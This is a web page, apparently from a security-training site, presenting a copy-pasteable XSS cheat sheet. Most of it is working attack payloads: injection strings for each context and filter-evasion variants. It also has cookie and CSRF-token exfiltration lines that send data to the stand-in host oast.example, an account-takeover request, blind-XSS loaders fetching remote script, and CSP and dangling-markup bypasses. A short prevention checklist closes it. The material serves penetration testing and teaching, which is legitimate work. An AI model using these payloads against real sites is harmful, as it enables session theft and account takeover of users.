Cross-Site Scripting (XSS): The Complete Practical Guide
XSS Cheat Sheet
A dense, copy-pasteable XSS reference: payloads by context, event handlers, filter evasion, a polyglot one-liner, the DOM sink table, and CSP bypasses.
Published
Every payload you reach for during an XSS test, in one place. The payload depends on the context your input lands in, so identify the context first, then pick the matching break-out. For the how and why behind each section, start at the XSS guide. Lock it in on a free live target.
Context-based payloads
HTML body:
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<iframe src=javascript:alert(1)>
<body onload=alert(1)>
Attribute (break out of the value):
"><svg onload=alert(1)>
"><img src=x onerror=alert(1)>
Attribute (no break-out, inject a handler):
" autofocus onfocus=alert(1) x="
" onmouseover=alert(1) x="
JS string (close the string/statement):
';alert(1)//
';alert(1);//
\';alert(1)// when the quote is backslash-escaped, break the escape
</script><script>alert(1)</script>
URL / href:
javascript:alert(1)
javascript:alert(document.domain)Identify the context, then use the one break-out that fits it. See XSS contexts for the reasoning.
Event handlers worth trying
onload onerror onfocus onmouseover onclick onpointerover
onanimationstart ontoggle onstart onpageshow onresize onscroll
onfocuswithautofocus, andonanimationstart/ontoggle, fire without user interaction.<svg>,<details>, and<marquee>carry handy auto-firing handlers.
No-parens / no-space / no-"alert" variants
No parens: <img src=x onerror=alert`1`> onerror=(alert)(1)
No space: <svg/onload=alert(1)> <img/src/onerror=alert(1)>
No "alert": onerror=confirm(1) onerror=print()
onerror=top['al'+'ert'](1) onerror=eval('ale'+'rt(1)')
Backtick: <script>alert`1`</script>Tag and attribute obfuscation (filter evasion)
Case: <ScRiPt>alert(1)</sCrIpT> <IMG SRC=x OnErRoR=alert(1)>
Slash sep: <svg/onload=alert(1)> <img/src/onerror=alert(1)>
Broken tag: <img src=x onerror=alert(1)//
Entity: onerror=alert(1) HTML entity for a letter
Unicode/UTF: overlong %C0%BC for '<' on a mis-decoding stackMore, with reasoning, in filter and WAF evasion.
Polyglot one-liner
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3eFires across many contexts (HTML, attribute, JS, comment, and
title/textarea/style/scriptbreak-outs). Use it to quickly probe an unknown sink, then switch to a clean context-specific payload.
DOM XSS: sinks and the sources that feed them
| Sink (where it executes) | Dangerous input into it |
|---|---|
element.innerHTML / outerHTML | location.hash, location.search |
document.write / document.writeln | location.*, document.referrer |
eval / Function / setTimeout(str) / setInterval(str) | location.*, postMessage data |
element.src / a.href / script.src | location.*, window.name, storage |
jQuery $(...) / .html() / .append() | location.hash as $(location.hash) |
location / location.href assignment | location.*, document.referrer |
Common sources:
location.hash,location.search,location.href,document.referrer,window.name,postMessage,localStorage/sessionStorage,document.cookie. See DOM-based XSS.
Cookie and data exfiltration
// Image beacon (no CORS, fires anywhere)
<img src=x onerror="new Image().src='//oast.example/?c='+encodeURIComponent(document.cookie)">
// Fetch (fires cross-origin for exfil; can only read responses same-origin)
<script>fetch('//oast.example/?c='+btoa(document.cookie))</script>
// Steal a CSRF token from the DOM (works even when the cookie is HttpOnly)
<script>fetch('//oast.example/?t='+document.querySelector('[name=csrf]').value)</script>
// Account takeover via the victim's session
<script>fetch('/account/email',{method:'POST',credentials:'include',
headers:{'Content-Type':'application/x-www-form-urlencoded'},
body:'[email protected]'})</script>Full walkthrough in exploiting XSS.
CSP: read it, then bypass it
Weak policies:
script-src 'unsafe-inline' inline <script> runs, game over
script-src https: * host your JS anywhere on https
script-src 'self' *.cdn.example JSONP / AngularJS on the CDN = bypass
JSONP bypass (allowed host exposes a JSONP endpoint):
<script src="https://allowed.example/jsonp?callback=alert(document.domain)//"></script>
base-uri hijack (no base-uri in policy + relative script src):
<base href="//evil.example/">
Missing object-src / base-uri opens plugin and base-tag vectors.
Nonce reuse: if the nonce is predictable or echoed, reuse it:
<script nonce="LEAKED_NONCE">alert(1)</script>Read the policy first. See CSP and bypasses.
Dangling markup (when script is blocked)
<img src='//oast.example/?leak= unterminated, swallows page HTML up to the next quote
<base href='//oast.example/? or hijack relative resource loadsNo JavaScript required. Full technique in dangling markup injection.
Blind XSS (fires in a back-office view you cannot see)
"><script src="//oast.example/x.js"></script>
"><img src=x onerror="new Image().src='//oast.example/?u='+location+'&c='+document.cookie">
x.jsreports back the URL, DOM, and cookies of wherever it executed. Seed it intoUser-Agent,Referer, contact forms, and support tickets at once. See blind XSS.
Prevention checklist
- Context-aware output encoding at every sink: HTML-encode in the body, attribute-encode inside attributes, JS-encode inside scripts, URL-encode in URLs. One global encoder is not enough.
- Let the framework escape by default and treat
dangerouslySetInnerHTML,[innerHTML],v-html, and|safeas red flags to justify. - Strict CSP as defense in depth:
script-src 'nonce-... strict-dynamic',object-src 'none',base-uri 'none', nounsafe-inline. - Trusted Types to lock down DOM sinks like
innerHTMLandeval. - HttpOnly and SameSite cookies so a stolen
document.cookieyields nothing useful. - Parser-accurate HTML sanitizer (allow-list) for genuine rich text, never hand-rolled regex.
- Input validation is a nice-to-have, not the fix. Encode on output. Full detail in preventing XSS.
← Back to Cross-Site Scripting (XSS): The Complete Practical Guide